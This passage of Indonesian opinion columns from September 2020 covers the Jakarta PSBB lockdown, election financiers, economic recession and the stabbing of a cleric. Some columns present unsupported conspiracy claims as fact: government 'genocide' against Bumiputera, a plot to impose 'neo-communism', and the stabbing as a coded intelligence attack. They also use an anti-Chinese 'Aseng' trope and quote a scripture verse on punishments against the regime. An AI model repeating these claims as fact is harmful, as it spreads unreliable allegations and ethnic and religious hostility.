nggak punya tabungan. Maka, mereka diberikan bansos. Beberapa bulan ini, Anies telah menyiapkan anggaran bansos sebesar Rp 900 miliar per dua pekan untuk 3,6 juta warga DKI. Sebulan Rp 1,8 triliun. Jadi, relatif aman. Ini sudah berjalan. Salahkan Anies? Jika Anies nggak tarik rem darurat PSBB, Jakarta bisa collaps. Sebab 77 persen ruang isolasi rumah sakit di DKI sudah terpakai. Sekitar 83 persen ruang ICU terisi. Ini data 6 september. Sisanya nggak akan tampung jika pasien terus bertambah secara masif. Lalu, bagaimana nasib mereka? Mau mati di jalanan? Ketiga, dengan PSBB, Anies dianggap sengaja memperburuk ekonomi nasional agar Jokowi segera jatuh. Ini terlalu jauh imajinasinya. Di otak orang-orang ini sepertinya sudah kebayang Anies itu presiden masa depan. Lalu mereka takut kalau nahkoda kapal mereka akan diganti. Sebuah ketakutan yang berlebihan. Kalau pandemi tak serius diatasi, tapi fokus hanya pada ekonomi, maka Indonesia akan gagal dua-duanya. Kesehatan nggak pulih, ekonomi makin terpuruk. Ibarat ngisi ember bocor. Bansos terus diberikan, UMKM dan korporasi disuntik dana, tapi penyebaran virus nggak dibatasi. Maka, tak pernah ada ujungnya. Karena produksi tersendat. Otomatis peredaran uang juga terganggu. Terjadilah resesi ekonomi. Sampai kapan? Sampai pandemi betul-betul teratasi. Soal Jokowi, sampai 2024 atau tidak, begini kalkulasi politiknya. Kalau kondisi ekonomi-politik normal dan Jokowi bertahan sampai 2024, peluang Anies jadi presiden sangat besar. Karena Anies sedang berada di atas panggung. Kondisi obyektif, Anies paling populer saat ini. Ini fakta yang tak bisa dibantah. Tahun 2022, kemungkinan di DKI ada Pilkada. Semua partai di DPR menghendaki, kecuali PDIP. Jika 2022 Anies gubernur lagi, jadi presiden hanya butuh satu langkah. Sekali lagi, ini kalkulasi jika semuanya berjalan dengan normal. Jika Jokowi jatuh sebelum 2024, meski peluang Anies jadi presiden tetap ada, namun akan banyak tokoh yang berpotensi membajak situasi untuk berebut jadi presiden. Akan bermunculan para tokoh instan. Dan mereka akan saling menyalib di tikungan. Dari analisis ini, kelihatan bahwa Anies hanya fokus melihat data penyebaran covid-19, lalu menghitung segala dampaknya bagi warga Jakarta, dan ambil keputusan. Simple urutan logika dan kerjanya. Soal "good Looking" atau "tidak good Looking", untung rugi secara politik, nampaknya bukan prioritas lagi bagi Anies sekarang ini. Jika ada anak anda yang sakit, anak anda yang lain ditabrak kereta lalu mati, masihkah anda bisa berpikir politis? Ini yang seringkali tak terjangkau oleh otak para pengkritik Anies. Kira-kira kalau dinarasikan begini, nggak urus dengan 2024, yang penting warga Jakarta selamat. Selamat nyawanya, dan kebutuhan ekonominya bisa diatasi. Nggak peduli orang setuju atau tidak, karena tanggung jawab warga DKI ada di pundak seorang Gubernur sebagai kepala daerah. Inilah yang membedakan Anies dengan para pengkritiknya. Anies mengambil kebijakan dengan data dan rasa. Umumnya, para pengkritik nggak peduli data, dan nggak ada rasa. Di ujung, kebenaran akan terbuka. Ini sudah berulangkali terbukti. Para pengkritik sangat emosional. Kelebihan Anies, selalu bisa menjaga emosinya. Tenang dan tetap bersahaja. Kata dan sikapnya terukur. Itupun tetap dikritik, pinter mengolah kata, katanya. Mestinya, para pengkritik belajar kepada Anies bagaimana mengolah kata yang baik. Agar telinga para pendengar juga bisa menerima dengan baik. Kalau Kata-katanya kotor, tentu hanya telinga kotor yang bisa menampungnya. Ini hukum psikologi. Mental dan sikap yang nggak seimbang antara Anies dengan para pengkritiknya justru seringkali menjadi poin positif buat Anies. Kalau Tyson lawan petinju amatir, kira-kira sudah bisa ditebak kemana dukungan penonton akan diberikan. Ini logika dan analogi yang paling dasar. Di depan penguasa, Anies memang jauh dari performence "good looking" . Tapi, di mata warga DKI, Anies mendapat apresiasi, karena kekuatan leadershipnya. Di dalam diri Anies ada kejujuran, ketegasan, keberanian ambil risiko, dan kerja terukur berbasis data. Anies juga punya integritas dan kompetensi. Jika Anies mampu terus mempertahankan karakternya ini, maka ia akan selalu diterima di hati rakyat. Pengamat Politik dan Pemerhati Bangsa.

Pembujuk Tersembunyi Yang Merusak Demokrasi

by Zainal Bintang Jakarta FNN –Rabu (16/09). Menteri Koordinator Bidang Politik, Hukum dan Keamanan (Menko Polhukam) Mahfud MD mengatakan hampir 92 persen calon kepala daerah yang tersebar di seluruh Indonesia dibiayai oleh cukong. Rata-rata setelah terpilih para calon kepala daerah ini akan memberi timbal balik berupa kebijakan, “melahirkan korupsi kebijakan”, “kata Mahfud, Jumat (11/09/20). Pada hari yang sama, Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Nurul Ghufron mengatakan, “berdasarkan kajian KPK, lebih dari 80 persen calon kepala daerah dibiayai oleh sponsor”. Dari sumber mata air yang keruh inilah lahir kebijakan “jual beli” lisensi SDA potensial di sebuah daerah. Sebagai kompensasi atas “bridging finance” sang cukong kepada pejabat daerah yang terpilih. Kejadian yang tidak menyenangkan itu, mengingatkan pada karya Vance Packard, jurnalis dan kritikus sosial Amerika yang berjudul “Pembujuk-Pembujuk Tersembunyi” (The Hidden Persuaders). Karyanya itu pertama kali diterbitkan tahun 1957. Vackard mengeksplorasi penggunaan riset motivasi konsumen dan teknik psikologis lainnya oleh pengiklan. Termasuk psikologi mendalam dan taktik subliminal. Bertujuan memanipulasi ekspektasi dan mendorong keinginan akan produk, terutama di era paska perang Amerika. Menurut Packard, kebutuhan ini begitu kuat sehingga orang terpaksa membeli produk hanya untuk memuaskannya. Buku ini juga membahas teknik manipulatif dalam mempromosikan politisi ke pemilih. Selain itu, buku ini mempertanyakan moralitas penggunaan teknik-teknik ini. Meskipun buku itu laris manis diantara khalayak kelas menengah, buku itu secara luas dikritik oleh peneliti pemasaran dan eksekutif periklanan karena membawa nada sensasional dan dianggap mengundang pernyataan yang tidak berdasar. Berbicara adanya keterlibatan cukong yang melancarkan praktik “money politics” (politik uang) tentu tidak berdiri sendiri. Publik punya banyak bukti adanya dukungan dari unit lain yang, termasuk lembaga survei. Bergabung menjadi sebuah konspirasi untuk memaksakan perubahan pandangan dan nilai moralitas masyarakat. Konspirasi itu leluasa beroperasi melumpuhkan nalar masyarakat. Memunculkan unit baru, “tim relawan” yang powerfull. Tapi, kesemuanya itu, yaa diperoleh tentu saja dengan doktrin “tidak ada makan siang gratis” (there is no free lunch). Secara umum banyak dibicarakan keberadaan kebijakan Otda (Otonomi Daerah) sejak 2004, yang ditengarai menjadi mesin penggerak “penyimpangan” kebijakan di daerah. Meskipun pemerintah telah beberapa kali merevisi UU No 22 Tahun 1999, menjadi UU No 32 Tahun 2004. Tapi UU itu telah kadung menjadi mesin provokator bangkitnya semangat berkuasa elite yang mau menempuh jalan pintas memanipulasi sentimen masyarakat lokal. Memaksakan pemekaran wilyah. Menjadi pintu masuk lahirnya aktor baru korupsi yang berselancar di atas kompensasi lisensi-lisensi potensi daerah. Didalam berbagai kajian ditemukan, kontestasi politik Pilkada (Pemilihan Kepala Daerah) menjadi bursa pemasaran hasil survei lembaga survei yang merangkap sebagai tim pemenangan. Mereka bekerja sistematis menawarkan hasil polesan “mantra” politik trisakti : popularitas (keterkenalan), elektabilitas (keterpilihan) dan akseptabiltas (keterterimaan) dari publik kepada publik. Metode survei pendapat masyarakat dikampanyekan sebagai cabang ilmu pengetahuan masyarakat moderen Dipaksakan melalui kampanye masif menggedor syaraf publik. Diboncengi ideologi baru “money politics” (politik uang). Sejak melembaganya kontestasi politik perebutan kekuasaan setiap ada Pilkada dan Pemilu era reformasi, telah terjadi peralihan lokasi aliran uang dari dunia ekonomi ke dunia politik. Jabatan politik laris manis dan diburu karena menjadi semacam kunci Inggris membuka pintu kemudahan mengalirnya upeti-upeti tak bernama. Efek lain yang muncul sebagai ekses produk “pembujuk-pembujuk tersembunyi” dapat dilihat merujuk tulisan Sarah Perucci yang disiarkan oleh Freedom House 2020 berjudul “Democracy And pluralism Are Under Assault” (Demokrasi Dan Keberagaman Sedang Diserang). Nampaknya apa yang terjadi di Indonesia, sepertinya terdapat benang merah dengan apa yang terjadi di negara lain. Menurut Perucci, “diktator bekerja keras untuk membasmi sisa-sisa perbedaan pendapat domestik, dan menyebarkan pengaruhnya yang berbahaya ke penjuru dunia yang baru”. Perucci yang juga Direktur Senior Riset dan Analisis Freedom House. Pada saat yang sama, banyak pemimpin yang dipilih secara bebas dan dramatis, mempersempit perhatian mereka ke interpretasi kepentingan nasional. Faktanya, para pemimpin seperti itu, termasuk kepala eksekutif Amerika Serikat dan India, dua negara demokrasi terbesar di dunia-semakin bersedia untuk mendobrak perlindungan institusional dan mengabaikan hak-hak kritik dan minoritas saat mereka mengejar agenda populis mereka. Kebrutalan rezim otokratis yang tidak terkendali dan kerusakan etika dari kekuatan demokrasi bergabung untuk membuat dunia semakin memusuhi tuntutan baru untuk pemerintahan yang lebih baik," ujar Perucci sambil menyebut , "bidang kemunduran yang paling umum, terjadi dalam fungsi pemerintahan, kebebasan berekspresi dan berkeyakinan, dan aturan negara hukum." “Sejumlah gerakan protes warga baru yang mencolok telah muncul selama setahun terakhir. Yang mencerminkan keinginan universal yang tidak ada habisnya untuk hak-hak fundamental. Namun, gerakan-gerakan ini dalam banyak kasus menghadapi kepentingan yang mengakar kuat yang mampu menanggung tekanan yang cukup besar dan bersedia menggunakan kekuatan mematikan untuk mempertahankan kekuasaan," ujar Perucci. Protes tahun 2019 sejauh ini gagal menghentikan penurunan kebebasan global secara keseluruhan. Tanpa dukungan dan solidaritas yang lebih besar dari negara-negara demokrasi mapan, mereka cenderung menyerah pada pembalasan otoriter," sebut Perucci menutup tulisannya. Mau tidak mau apa yang disampaikan Mahfud MD dan Ghufron itu, mengingatkan publik pada pernyataan Ketua MPR RI Bambang Soesatyo yang pernah menyebut “Pemodal cukup merogoh ongkos Rp 1 triliun untuk menguasai partai politik di Indonesia”. Menurut Bamsoet panggilan akrab mantan Ketua DPR RI itu, nominal itu berdasarkan pengalamannya selama berkiprah di dunia politik di Indonesia. “Semahal-mahalnya Rp1 Triliun sudah bisa menguasai partai politik, ini pengalaman. Boleh dibantah atau tidak, tapi inilah kenyataan sistem yang masih dipertahankan," ungkapnya pada pertengahan Februari yang lalu di Jakarta. Kasus pembegalan politik yang dialami penyanyi Pasha Ungu di Palu, Sulawesi Tengah dan keributan dalam proses Pilwalikota Makassar yang menyeruakan pemberitaan pengusiran pimpinan lembaga survei Polmark Eep Saifulloh oleh kliennya, Erwin Aksa ketua tim calon walikota Appi- Rahman menunjukkan bagaimana elemen “manipulasi” ikut menjadi sumber sengketa. Tidak jelas siapa yang memanipulasi siapa. Meskipun kasus ini masih gelap dan masih memerlukan klarifikasi dan tranparansi kedua belah pihak. Yang menjadi pertanyaan publik adalah, mengapa pernyataan Bamsoet serta Menko Polhukam dan pimpinan KPK hanya berhenti menjadi cerita belaka. Tapi hanya sebatas menjadi trending topik dalam forum seminar. Tidak terlihat adanya langkah konkret preventif berbentuk regulasi penindakan, untuk menghentikan operasi kriminal dan penjahat demokrasi yang bernama cukong. Kebaikan macam apa yang diperoleh rakyat dari negara yang dikelola melalui budaya percukongan? Sebuah sistem politik yang mematikan harapan. Rakyat hanya menjadi angka-angka elektoral pemimpin politik dari pemilu ke pemilu. Akan tahankah mereka, Rakyat itu? Ataukah pemerintah lebih memilih membiarkan topik itu menjadi bagian dari skenario pengalihan isu belaka. Lalu menyerahkan urusan ini ditangani gerakan masyarakat sipil yang dikenal dengan sebutan “parlemen jalanan” : yang selalu memenuhi panggilan sejarahnya ketika tuntutan perubahan sudah tak tertahankan? Wallahualam bishawab! Penulis dalah Wartawan Senior dan Pemerhati Sosial Budaya.

Pemerintahan Jokowi Sudah Oleng

by Dr. Margarito Kamis, SH. M.Hum Jakarta FNN – Rabu (16/09). Kedaulatan ada ditangan rakyat. Begitu kata konstatasi konstitusi. Tetapi praktek bernegara dan pemerintahan memberi batas defenitif. Kedaulatan itu hanya bernilai tidak lebih dari limamenit. Pada saat mereka berada dalam bilik suara, untuk memilih anggota DPR dan Presiden dalam pemilu. Tidak lebih dari itu. Memberi suara menjadi akhir kedaulatan rakyat. Urusan selanjutnya? Jatuh sepenuhnya ke tangan pembesar politik dan kaum oligarki, korporasi, konglomderasi . Di dalam dan diluar kekuasaan formal. Kekuasaan jadi begitu impersonal. Loyalis intelek sekelas Pak Safii Maarif pun hanya bisa bermohon. Apalagi rakyat biasa. Kebijakan dan tindakan presiden terlalu rumit dan mewah untuk diserahkan dan disinkronkan dengan kehendak loyalis intelek. Apalagi pemilih biasa. Mau apa? Begitulah pemerintahan bekerja secara empiris. Kontraksi Terus Pembaca FNN yang budiman. Pilkada yang hanya butuh ratusan miliyar saja dicukongi oleh para cukong. Lalu pilpres yang butuh triliunan tidak? Triliunan rupiah dipakai selama kampanye keluar dari kantong capres sendiri? Yang benar saja. Tidak logis mengalamatkan efek cukong hanya pada kepala-kepala daerah. Mengapa? Hukum konstitusi cukup jelas mengatur syarat seseorang bisa jadi calon kepala daerah dan presiden. Mereka harus waras. Itu syarat materilnya. Kepala daerah waraslah yang terpilih. Mau tak mau harus merancang, membuat dan menyajikan kebijakan bersifat balas budi, quid pro quo, kepada para cukong. Bagaimana dengan presiden terpilih? Kalau di Amerika jelas. Di Indonesia, hal itu masih tetap gelap. Tidak ada data valid yang tersaji. Tetapi sudahlah. Lupakan saja dulu soal quid pro quo itu. Soal-soal pemerintahan nyata tidak kalah penting untuk dikenali. Dokter, tenaga medis mati, dan rakyat biasa yang terus mati diinfeksi corona, resesi ekonomi, menteri yang tidak mengerti birokrasi, pelemahan DPR, RUU HIP, RUU Omnibus, mekanisme bansos yang tidak beres, insentif pada pekerja yang datanya tak valid, sekedar beberapa contoh, semunya eksplosif. Keadaan faktual menungkalkan argumentasi pemerintah untuk menyatakan ekonomi tidak akan resesi. Dalam Rapat Kabinet Terbatas Senin (14/9/2020) "Jokowi menyatakan pemulihan ekonomi nasional kita masih punya waktu sampai akhir September dalam meningkatkan daya ungkit ekonomi kita (Lihat Detik Finance, 14/9/2020). Bagus Presiden menyadari keadaan ini. Tetapi mengandalkan dua minggu yang tersisa pada September ini untuk mencegah melebarnya kontraksi itu. Jelas tak masuk akal. Kaidah administrasi keuangan negara tidak memungkinkannya. Ditengah usaha itu, Gubernur Anies malah menerapkan kembali Pembatasan Sosial Berskala Besar (PSBB). Kota Bogor dan Depok malam menerapkan jam malam. Begitu PSBB dibunyikan, terjadilah kegoncangan pasar modal. Menko Ekonomi, Airlangga Hartarto, dengan gayanya yang lembut menunjuk kebijakan menjadi penyebabnya. Sayangnya menurut para ekonom goncangan itu merupakan respon atas gagasan pembentukan Dewan Moneter. Dewan moneter? Apalagi barang itu? Institusi mau digunakan sebagai jembatan penghubung pemerintah dengan BI dalam merancang kebijakan sistem keuangan? Tampaknya iya begitu. Pemerintah akan menempatkan orangnya dalam Dewan Moneter itu. Logiskah itu? Mungkin iya. Tetapi apa argumentasi konstitusionalnya? Itu yang tak disajikan pemerintah, entah karena apa. Tetapi apapun itu, ini menunjukan pemerintah menyangsikan keandalan. Bukan hanya sistem keuangan, tetapi sistem bernegara. Ini mirip Amerika tahun 1933 pada saat depresi ekonomi melilit mereka. Alhasil pemerintah, seperti biasa, memasuki isu Dewan Moneter dengan argumentasi yang tidak meyakinkan. Kalaupun benar terdapat masalah design sistem keuangan sejauh ini, soalnya mengapa baru dirasakan sekarang? Argumentasi pemerintahan jelas lemah. Dimana letak kelemahannya? Realisasi anggaran tanpa Daftar Isian Pagu Anggaran (DIPA) sama sekali tidak ada hubungannya dengan moneter. Kalau hanya main catat anggaran yang keluar, itu sih warung kecil dipinggir jalan juga mencatat pengeluaran mereka. Minimnya realisasi anggaran juga tidak ada hubungannya dengan soal moneter. Ini soal ada atau tidak uang yang tersedia. Dan mampu atau tidak mampunya menyediakan program dan kegiatan. Bantuan Sosial (Bansos) tidak tepat sasaran. Juga tidak punya korelasi dengan moneter. Ini soal teknis. Sama teknisnya dengan rekening pekerja penerima bantuan pemerintah. Fokuslah Presiden Ditengah keadaan itu Budi Hartono, Bos Group Jarum, menilai kebijakan PSBB Gubernur Anies tidak masuk akal. "Menurut kami, kata Budi dalam suratnya, keputusan memberlakukan PSBB (total) kembali itu tidak tepat. Hal ini disebabkan PSBB di Jakarta telah terbukti tidak efektif. Menurut Budi alasan Anies memberlakukan kembali PSBB karena khawatir daya tampung Rumah Sakit di Jakarta, kurang masuk akal (Lihat CNBC Indonesia, 13/9/2020). Kurang masuk akal? Masuk akalkah ratusan dokter, kalau tidak salah telah mencapai 115 orang mati? Masuk akalkah puluhan tenaga medis mati? Masuk akalkah membiarkan ribuan rakyat kecil mati? Apakah Budi Hartono hendak mengajak Presiden Jokowi memperdalam Indonesia ke dalam cengkeraman gerombolan korporasi licik, picik, tamak dan culas? Siapa yang akan mengerjakan, misalnya penyediaan infrastruktur khas Budi Hartono? Usaha Mengeha Kecil dan Mikro (UMKM) atau korporasi besar? Siapa yang menyediakan semua peralatan pelengkap yang diperlukan itu? UMKM atau korporasi, macam Group Jarum? Budi cukup berani dengan suratnya itu. Mengapa? Surat itu muncul ditengah KAMI memberi perhatian begitu signifikan terhadap oligarki. Mungkin saja Group Jarum bukan termasuk gerombolan oligarki, dan korporasi culas, licik, picik dan tamak. Tetapi tampilan Budi jelas sangat menarik. Sekarang tergantung Presiden. Akankah Presiden menyediakan karpet merah atas usulan Budi Hartono? Kota Bogor berstatus zona merah atau daerah dengan risiko tinggi penularan Covid-19 sejak Senin (14/9) pagi, setelah sepekan sebelumnya berstatus zona oranye atau daerah dengan risiko sedang penularan Covid-19 seperti dilansir dari Antara (CNN Indonesia, 14/9/2020). Sumatera Selatan (Sumsel), setidaknya Nias juga mengkwatirkan. Jawa Timur dan Jawa Tengah tidak beda jauh. Tiga puluh kecaatan di jawa Barat juga mulai mengkhawatirkan. Menariknya, respon Presiden terhadap PSBB Jakarta, cukup khas korporatis. Presiden menyediakan hotel. Ada hotel yang berbintang ada yang tidak, untuk isolasi pasien corona. Apakah hotel-hotel itu bisa digunakan pasien dari Depok, yang menurut Ridwan Kamil rumah sakitnya sudah terisi sekitar 60% (Lihat CNBC Indonsia, 14/9/2020). Tidak jelas juga. Celakanya pemerintan tidak bisa serta-merta menyediakan makan minum untuk rakyat. Kaidah administrasi keuangan mengharuskan pemerintah tidak mengimajinaksikan calon penerima bantuan. Tidak bisa dikarang-karang begitu saja. Dalam realisasi bantuan, apakah pemerintah masih memberi warna korporatis, yakni melibatkan korporasi menyalurkan bantuan itu? Semuanya akan jadi obyek pemeriksaan BPK. Adakah pejabat yang mau bekerja sembarangan? Penjara akan menantikan pejabat yang kerja sembarangan. Itu pasti. Pemerintah ini terlihat tidak mampu menarik jarak sejauh mungkin dari sifat korporatis kebijakan-kebijakannya. Ditengah situasi ini, pemerintahan malah merancanakan penambahan pembangunan tol mencapai panjang total 18.850 kilometer. Rencana tersebut diungkapkan Direktur Jenderal Bina Marga Hedy Rahadian dalam rapat dengar pendapat (RDP) bersama Komisi V DPR RI, Senin (14/9/20). "Jadi ini kami sampaikan rencana program jalan tol kita dalam rencana kami adalah 18,8 ribu kilometer," kata Hedy Rahadian dalam rapat tersebut (CNBC Indonesia, 14/9/2020). Utang lagi? Berapa banyak dan darimana? China, Amerika, Jepang, Singapura atau IMF dan World Bank? Korporasi plat merah atau kuning yang akan mengerjakannya? Siapapun yang mengerjakannya, dapat dipastikan tidak serta memulihkan ekonomi yang semakin sakit ini. Manfaat seketika pun tidak akan dirasakan rakyat miskin saat ini. Terlilit masalah sekrusial itu, tetapi Alim Ulama malah ditusuk orang gila di Lampung. Ini dialami Syekh Ali Jaber dan seorang imam masjid di Ogan Komering Ilir (Lihat Rmol, 15/9/2020). Sialnya ini terjadi ditengah hiruk-pikuk kritik atas rencana pemerintah menyertifikatkan para ustad penceramah. Tumpukan kenyataan empiris diatas, suka atau tidak, menandai bangsa ini benar-benar sedang, bukan akan oleng. Presiden, karena itu tidak boleh kehilangan fokus. Negara yang semakin oleng tidak bisa dijinakan dengan propaganda. Propaganda menyalahkan berbagai kalangan disatu sisi, dan disisi lain membenarkan semua kebijakan pemerintah, justru semakin membuat negara ini oleng. Fakta, sesuai sifatnya akan terus menemukan cara untuk dilihat orang. Tidak bisa diputarbalikan, secanggih apapun metodenya. Hitler yang memiliki Josef Goble, menteri penerangan yang jago propaganda itu, justru tergulung habis. Kebaikan dan kebatilan tidak bisa disatukan. Waktu punya cara memenangkan kebaikan. Penulis adalah Pengajar HTN Universitas Khiarun Ternate.

Rezim Telah Melakukan Kerusakan Dan Kedzaliman?

by Deddy S. Budiman Bandung FNN - Rabu (16/09). Pilpres, Pilkada, Pileg langsung berbiaya mahal, melalui sistim ambang batas, dilakukan dengan TSM untuk tidak Jurdil, dan dibiayai para pemodal /taipan, menghasilkan Wakil Rakyat dan Pemimpin Boneka dan Koruptor. "Menurut Menkopolhukam Mahfud MD 92% calon pemimpin, dibiayai oleh pemodal". Akhirnya sama-sama kita ketahui berapa banyak para pemimpin daerah yang terlibat korupsi, dan sekitar 80% tanah dan perijinan sudah diambil oleh para pengusaha Asing dan Aseng. Akan halnya RUU Omnibuslaw, UU Minerba, UU Covid dan beberapa Perpu secara kasat mata hanya berpihak kepada pengusaha, ditenggarai sebagai bayaran jasa para pengusaha/Taipan, untuk memenangkan Pemilu termasuk Pilpres. Sehingga jangan berharap para pejabat dan wakil rakyat akan berpihak kepada rakyat terutama bagi Bumiputera. Rejim penguasa membentuk Tim mengatasi Ekonomi dan Krisis Pandemi, yang di jabat oleh banyak menteri. Semua Menko duduk dijajaran Pimpinan yang dinakhodai oleh Airlangga, Menko Perekonomian/ Ketum Golkar, dan Menteri BUMN Erick Tohir sebagai ketua harian. Yang terjadi malah korban Covid-19 sejak awal semakin hari semakin meningkat, grafiknya tidak pernah melandai, dikuatirkan malah akan terjadi ledakan korban pada periode pertama ini. Patut diduga sebagai upaya genosida kepada Bumiputera. Bidang Ekonomi, yang dijanjikan meroket oleh Presiden Jokowi, malah kenyataannya nyungsep, sebelum terkena Covid-19 di kuartal pertama dari 5% turun drastis menjadi 2.7%. Covid melanda dari awal dibawa canda, akhirnya ekonomi nyungsep lebih dalam lagi minus 5,3%. Karena tetap mengutamakan mengatasi ekonomi di kuartal ketiga dan selanjutnya akan tetap minus. Hutang menggunung, BUMN Pertamina yang dibanggakan akan berjaya menandingi Petronas Malaysia, malah merugi dengan hutang menggunung dikuatirkan akan gagal bayar. Begitu juga PLN merugi, hutang gede, harga BBM seharusnya turun karena minyak dunia anjlog, malah tidak turun-turun, aneh bin ajaib Pertamina merugi. BPJS walau telah dikembalikan dengan harga awal oleh MA, Presiden Jokowi tetap ngotot menaikan dan tentunya mahal bagi bumiputera. Pengangguran dimana-mana, yang usia bekerja tidak bisa bekerja dalam kondisi perusahaan merana, TKA asing terutama TKA Cina tetap deras mengalir, sementara tenaga kerja di dalam negeri deras di PHK. Negara dalam pembukaan UUD 45 harus menjamin kesejahteraan dan pekerjaan buat rakyat, malah mengutamakan tenaga kerja asing. Pertanyaannya apa kita telah menjadi negara boneka asing. Pembangunan infrastruktur jalan terus walau BUMN sudah megap-megap, hutang BUMN diperbanyak terutama kepada RRC akan berakibat ketergantungan bagi generasi penerus untuk membayar. Dipihak lain pembangunan moral merosot, terbukti semangkin menjamurnya Korupsi, Narkoba, begal Gang Motor, dan LGBT dibiarkan membentuk komunitas termasuk di kampus-kampus. Walaupun Pemerintah Presiden Jokowi sudah masuk pada periode kedua. Mafia di berbagai bidang kehidupan tetap saja belum dimusnahkan. Mafia Impor Sandang, Pangan dan Energi, termasuk mafia pengadilan tetap merajalela. Rakyat terbelah menjadi Cebong dan Kampret/ Kadrun, terus di adu domba oleh Buzzer dan Influenser atas biaya negara dan berkantor di Kominfo. Hukum tebang pilih dan rekomendasi Covid-19 serta UU ITE di jadikan alat untuk membungkam demokrasi. WNI seperti Kapten Purn Ruslan Buton, ustadz, kiyai yang kritis di kriminalisasi dan dipersekusi. Umat Islam dijadikan sasaran fitnah dengan label radikalisme, intoleransi, khilafah, dan fitnah mau mendirikan Negara Islam dsbnya. Perang urat saraf sedang berlangsung dengan menakut-nakuti Ulama-ulama dengan penusukan dipengajian dan mesjid serta Pesantren ditakut-takuti dengan isu Good Looking pandai berbahasa Arab, hafal Alqur’an di cap sebagai kader teroris. Puncaknya Rezim secara sistimatis, melalui skenario yang dirancang secara matang sedang melakukan Makar Ideologi dengan merubah Pancasila menjadi Trisila dan Ekasila, melalui RUU HIP dan RUU BPIP, menjadi paham Neo Komunisme yang bertentangan dengan TAP MPR RI XXV/ 1966. Visi KAMI adalah menjaga kedaulatan, keutuhan NKRI yang berdasarkan Pancasila dan UUD NRI tahun 1945 dan menyelamatkan bangsa dari segala macam ancaman. Inti dari UUD NRI tahun 1945 adalah Pancasila inti dari Pancasila adalah Ketuhanan Yang Maha Esa. Merubah Pancasila jadi Trisila dan Ekasila adalah termasuk merubah sumber segala sumber hukum NKRI dan merubah hukum-hukum Allah SWT, juga dapat diartikan memerangi Allah SWT. Merubah Pancasila jadi Trisila dan Ekasila adalah perbuatan Makar yang mengancam kedaulatan, keutuhan NKRI yang berdasarkan Pancasila dan UUD NRI tahun 1945 serta keselamatan bangsa, dapat diancam pidana menurut UU Nomor 27 tahun 1999 Tentang Perubahan Kitab Undang-Undang Hukum Pidana Yang Berkaitan Dengan KejahatanTerhadap Keamanan Negara. Sebagai seorang prajurit tua yang pernah disumpah atas nama Allah SWT saya akan tetap menghimbau kepada para patriot bangsa, tokoh bangsa dan agama, para perwira TNI dan Polisi aktif yang di amanahkan menjadi pemimpin, untuk tetap waspada terhadap segala bentuk ancaman. Ancaman terhadap Negara tidak saja melalui perang pisik akan tetapi ancaman non militer sedang berada didepan mata, terutama ancaman terhadap ideologi Pancasila. Waspada dan jangan lengah, NKRI bisa masuk kelembah hina kembali di jajah oleh Neo Komunisme, Kapitalisme, Liberalisme, Sekulerisme dan Hedonisme. Ancaman non militer, terutama ancaman terhadap ideologi Pancasila berimplikasi kepada tugas pokok dan fungsi TNI dalam menjaga kedaulatan keutuhan NKRI dan keselamatan bangsa. Menurut buku Strategi Pertahanan, untuk menghadapi ancaman non militer adalah dengan strategi berlapis dan Strategi Penangkalan, Rakyat di depan TNI di belakang membantu. TNI harus manunggal bersama rakyat, karena rakyat lah pemilik Negara, pemimpin bisa berganti akan tetapi Negara kesatuan republik Indonesia harus tetap dipertahankan untuk merdeka bersatu berdaulat adil dan makmur. Sebagai seorang PATRIOT TUA yang percaya terhadap kekuasaan Allah, saya ingin mengutip beberapa ayat-ayat Allah, mudah-mudahan dapat dipahami bagi para pemimpin bangsa sebagai berikut; "Sesungguhnya Allah menyuruh kamu berlaku adil dan berbuat kebajikan, memberi bantuan kepada kerabat, dan Dia melarang melakukan perbuatan keji, kemungkaran dan permusuhan. Dia memberi pengajaran kepadamu agar kamu dapat mengambil pelajaran." (An-Nahl 16:90). "Dan janganlah kamu berbuat kerusakan di bumi, setelah diciptakan dengan baik,"(Al-Araf 7:56). "agar kamu jangan merusak keseimbangan itu, dan tegakkanlah keseimbangan itu dengan adil dan janganlah kamu mengurangi keseimbangan itu."(Ar-Rahman 55:8). "Dan janganlah kamu menaati perintah orang-orang yang melampaui batas, yang berbuat kerusakan di bumi dan tidak mengadakan perbaikan." QS. Asy-Syu'ara'[26]: 151-152. "Hukum bagi orang-orang yang memerangi Allah dan Rasul-Nya dan membuat kerusakan di bumi, hanyalah dibunuh dan di salib, atau dipotong tangan dan kaki mereka secara silang, atau diasingkan dari tempat kediamannya. Yang demikian itu adalah kehinaan bagi mereka di dunia, dan akhirat mereka mendapat azab yang besar."(Al-Maidah 5:33). Tugas TNI dan Rakyat menurut UUD NRI tahun 1945 dan UU Pertahanan adalah mejaga Keutuhan, Kedaulatan NKRI serta Menyelamatkan Bangsa dari berbagai bentuk Ancaman. Untuk menyelamatkan NKRI dari ancaman neo komunisme, kapitalisme, liberalisme, sekulerisme dan hedonisme dibutuhkan kemanunggalan TNI dan Rakyat. Semoga Allah melindungi bangsa Indonesia dan NKRI yang berdasarkan Pancasila dan UUD NRI yang ditetapkan thl 18 Agustus 1945. Aamin ya robbal aalamiin. Penulis adalah Mayjen TNI Purnawirawan (FKP2B).

Pesan Dibalik Good Looking, Preman, & Sipenusuk Gila

by Anton Permana Jakarta FNN – Selasa (15/09). Belum reda operasi “kubah putih” dan symbol “klepon”. Sebuah isyarat dalam dunia inteligent yang terungkap kepada publik. Isyarat itu dalam bentuk kode serangan terhadap ummat Islam, kembali terjadi serangan fisik berupa penusukan terhadap Ulama Syekh Ali Jaber di Lampung dan Imam Masjid di Ogam Kemilir Ulu (OKU) Sumatera Selatan. Insiden penusukan ini kembali mudah untuk ditebak, yaitu sipelaku atas pengakuan orang tuanya yang tak sampai 1 x 24 jam dinyatakan "gila". Tentu pengakuan ini kembali membuat geram banyak pihak. Modus seperti ini sudah berulang kali terjadi. Jika korban penganiayaan adalah ulama, selalu berakhirnya dengan pernyataan bahwa si pelaku adalah orang gila. Sehingga kemudian tidak bisa diproses hukum dan bebas. Silahkan searching beritanya di google. Sudah sangat banyak berita serupa terjadi sebelumnya. Banyak analisis konspirasi dan analisis inteligent menyikapi insiden itu. Termasuk saya yang juga membahasnya intens dengan beberapa kolega yang paham dan punya ilmu tentang persoalan itu. Dan hasil analisa sementaranya adalah : Pertama, insiden ini bukan insiden biasa. Ada dugaan motif lain di balik semua itu. Ujung dari rangkaian beberapa peristiwa sebelumnya. Kalau kita jeli dan teliti melihat kejadiannya, maka ada keterkaitan khusus satu sama lainnya. Ada hubungan benang yang menyambungnya. Kedua, keterkaitannya itu berhubungan dengan isu yang juga heboh atas pernyataan salah satu 